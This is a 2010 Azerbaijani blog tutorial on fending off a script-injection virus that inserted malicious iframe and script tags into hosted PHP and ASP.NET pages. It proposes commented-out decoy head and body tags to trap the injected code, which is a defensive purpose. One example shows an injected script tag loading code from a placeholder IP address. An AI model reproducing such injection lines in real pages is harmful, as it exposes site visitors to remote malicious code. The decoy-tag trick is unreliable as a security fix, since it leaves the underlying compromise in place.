Script virusunun həlli.

19-07-2010 / 00:07

Salam əziz dostlar!

Bildiyiniz kimi hosting şirkərinin və eləcə də o şirkətlərdən hostig alan istifadəçilərin bir müddət əvvəl olduqca başağrıdıcı virus problemi olmuşdu. Saytlarımızın bütün təhlükəsizlik tədbirlərini nəzarətdə saxlamağımıza baxmayaraq saytın bütün .htm, .asp, .aspx, .php fayllarının içinə <iframe>... şəklində virus scriptləri düşməkdə idi. Zaman keçdikdə virusun effekti azalmağa başladı. Lakin indi son günlər iframe virusu yerini <script>... virusu ilə əvəz etti. Bu virus hətta digərindən də təhlükəli olduğu bir çoxlarımıza məlumdur.

Virus əsasən saytın bütün fayllarının içərisinə sızaraq qarşısına çıxan bütün .php, .asp və digər kod fayllarının içərisinə öz virus scriptini əlavə edir. Bu problem 1 həftə əvvəl mənimdə qarşıma çıxdı. Müəyyən bir araşdırmalarımın nəticəsində virusu necə zərərsizləşdirəcəyimi tapdım.

Virusu internet də geniş şəkildə araşdırmağıma baxmayaraq konkret nəticə ya da səbəb tapan görmədim. Bəziləri FTP şifrəsini dəyişdirdikdən sonra düzəldiyini deyir, bəziləri hostingi dəyişdikdə, bəziləri qovluq icazələrinin yazma icazəsini bağladıqda düzəldiyini qeyd edir. Lakin mən bu deyilənlərin hamısını etməyimə baxmayaraq heç bir nəticə görmədim. İlk olaraq domain-i aldığım hosting şikətindən sildirdim (bütün faylları ilə bərabər) və başqa bir hosting-ə yerləşdirdim. Səhər tezdən yoxladım virus yenə saytıma təşrif buyurmuş vəziyyətdədir. Şifrəni dəyişdim, icazələri maksimum aşağı endirdim yenə virus əl çəkmədi. Bu dərsimizdə bu virusun nədən yarandığını, kim yaydığını qeyd edə bilmiyəcəm. Çünki bu haqda məlumat tapa bilmədim. Amma bu virusun qarşısını hansı yollardan ala biləcəyinizin kiçik bir neçə texnikasını baş salacam.


Virus əsasən saytın əksər hallarda ən sonuncu </body> tag-ından əvvələ düşür. Lakin bəzən <head> tag-ından sonra da düşdüyünü təsbit eləmişəm. Virus sayta düşdükdə sayt açılır, lakin sistemə yüklü antivirus proqramı saytı virus kimi təsbit edərək açılmasının qarşısını alır. Lakin əgər sayt asp.net texnalogiyaları əsasında yazılıbsa və saytın ümumi struktru MasterPage ilə qurulubsa (asp.net bilən istifadəçilər masterpage texnikası ilə tanışdırlar) bu zaman digər səhifələr aşağıdakı koddan ibarət olur. Yəni saytın gövdəsi masterpage içərisində olduğu üçün saytın quruluşu digərləridən fərqlənir:

Əlaqə səhifəsi üçün kod:

<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true"
CodeFile="Default.aspx.cs" Inherits="Elaqe_Default" %>

<asp:Content ID="Content1" ContentPlaceHolderID="ContentPlaceHolder1" runat="Server">

saytın məlumatları

</asp:Content>
Bu zaman virus səhifəni açaraq body, head tag-ları tapmadığı üçün virusu bir başa </asp:Content> tag-ından sonra əlavə edir. Bu zaman da normal olaraq sayt açıldıqda yəni əlaqə bolməsi (http://www.domain.az/elaqe.aspx) açıldıqda asp.net xətası ekrana çıxır. Yəni sayt hack edilir deyə bilərik.

Ümumiyyətcə virus əlçatmaz səhifələrə heç bir zərər vura bilmir. Misal üçün asp.net də MasterPage.master adlı faylı heç cürə müraciət mümkün deyildir. Eyni zaman da web.config kimi fayllara birbaşa müraciət mümkün deyil. Asp.net istifadə edən istfadəçilər səhifədə masterpage istifadə etdiyi səhifələri bu şəkildə qoruya bilərlər:

Yuxarıdakı əlaqə.aspx səhifəsinin kodlarını bu şəkildə dəyişdirmək kifayət edir:

 

<%@ Page Language="C#" MasterPageFile="~/MasterPage.master" AutoEventWireup="true"
CodeFile="Default.aspx.cs" Inherits="Elaqe_Default" %>

<asp:Content ID="Content1" ContentPlaceHolderID="ContentPlaceHolder1" runat="Server">

saytın məlumatları

<!--
<html>
<head>
<title>AzGraf</title>
</head>
<body>

</body>
</html>
-->
</asp:Content>


Grdüyünüz kimi saytın məlumatları bölümü yenə olduğu kimi qalır. Sadəcə onun altına yalancı HTML sklet yerləşdiririk. Təbii ki, bunu da html comment içərisində yazdığımız üçün saytda görsənmir və heç bir əhəmiyyəti olmur. <!-- ... --> tagları HTML dilində comment yəni şərh kimi qəbul edilir. Onun arasında yazılmış hərhansı yazı, tag sadəcə şəxsi qeyd olaraq oxunur və sadəcə HTML kod içərisində görsənir. Bu script virusunun da işləmə sistemi saytda axtarıb body və ya head tag-larını tapmaq və ondan sonra script əlavə etməkdir. Artıq virus səhifəni axtardıqda mövcud comment içərisindəki body-ni tapacaq və öz scriptini ora əlavə edəcək. Body də aldadıcı bir tələ rolunu oynadığı üçün həmin scriptdə onun içində qalacaq və heç bir əhəmiyyəti olmayacaq. Nə sayt dayanacaq, nə də antivirus işə düşəcək. Əlavə edilmiş virus script-i adi HTML comment (şərh) kimi sistemdə oxunacaq.

Əgər saytınız asp.net də deyildə normal PHP ya da klassik ASP dilindədirsə, yaxud Asp.net dilindədir lakin Masterpage istifadə edilməyibsə onu da eyni bu texnika ilə qarşısını ala bilərik. Sadəcə digərindən fərqli olaraq hər bir body və head tag-larını ayrıca özəlləşdiririk. Daha qaranti olması üçün:
Digərindən fərqli olaraq burada hər head, body taglarının üstünə və altında onun eynisinin comment şəklini yaradırıq:


<html>
<!--<head>-->
<head>
<!--<head>-->
<title>AzGraf</title>
<!--</head>-->
</head>
<!--</head>-->
<!--<body>-->
<body>
<!--<body>-->

SAYTA AİD BÜTÜN MƏLUMATLAR, KODLAR, ŞƏKİL VƏ MƏQALƏLƏR...

<!--</body>-->
</body>
<!--</body>-->
</html>

Bu şəkildə dəyişdikdə artıq səhifələrimizi virus hansı tərəfdən axtararsa və hansı tagı axtararsa head ya da body ilk olaraq onun comment (yalançı) versiyasını tapacaq və onun sol hissəsinə əlavə edəcək. Oda yenə qalacaq comment-in içində. Əsl original Body və Head taglarını tam təhlükəsiz şəkildə qorunacaq.

Götürək </body> tag-ından əvvələ virus script əlavə etdi, bu zaman body tag bu şəkildə dəyişəcək:
<!--<script src="http://150.150.150.150.php"></script></body>-->
</body>
<!--</body>-->

Virus səhifəni yuxarıdan başlayaraq axtardığı üçün ilk olaraq tapdığı body əsl body-nin üstündəki comment body-si olur. Onun soluna da əlavə ettikdə <!-- tag-ından xəbəri olmur və virus düşür comment içərisinə.

Və ya daha rahat formada bunu bu şəkildə də etmək mümkündür. Saytdakı mövcud HTML tag-ların ən başdakından əvvəl və ən sonundakından sonra aşağıdakı kodu əlavə edin. Hər tag-dan əvvəl və sonra <script></script> əlavə etdikdə virus ikinci dəfə heç bir script əlavə etmir, yəni aldanır:

<!-- <script></script><html><head><script></script><title> AntiVirus_by_AzGraf </title><script></script></head><script></script><body><script></script> Protect virus... <script></script></body><script></script></html><script></script> -->

Ümumi kod bu şəkildə olmalıdır:

<!-- <script></script><html><head><script></script><title> AntiVirus_by_AzGraf </title><script></script></head><script></script><body><script></script> Protect virus... <script></script></body><script></script></html><script></script> -->
<html>
<head>
<title>AzGraf</title>
</head>
<body>

</body>
</html>
<!-- <script></script><html><head><script></script><title> AntiVirus_by_AzGraf </title><script></script></head><script></script><body><script></script> Protect virus... <script></script></body><script></script></html><script></script> -->


ŞƏRHLƏR






sorğu
İT mütəxəssislər iş yerlərini hansı meyarlar əsasında seçir ?
  • Şirkətin yüksək statusuna görə
  • İşin, layihənin xarakterinə görə
  • Əmək müqaviləsinin olmasına görə
  • Yüksək əmək haqqına, mükafatlara və digər güzəştlərə görə
  • Gələcək karyerası üçün əhəmiyyət kəsb etdiyinə görə
  • Maraqlı, işgüzar kollektivə görə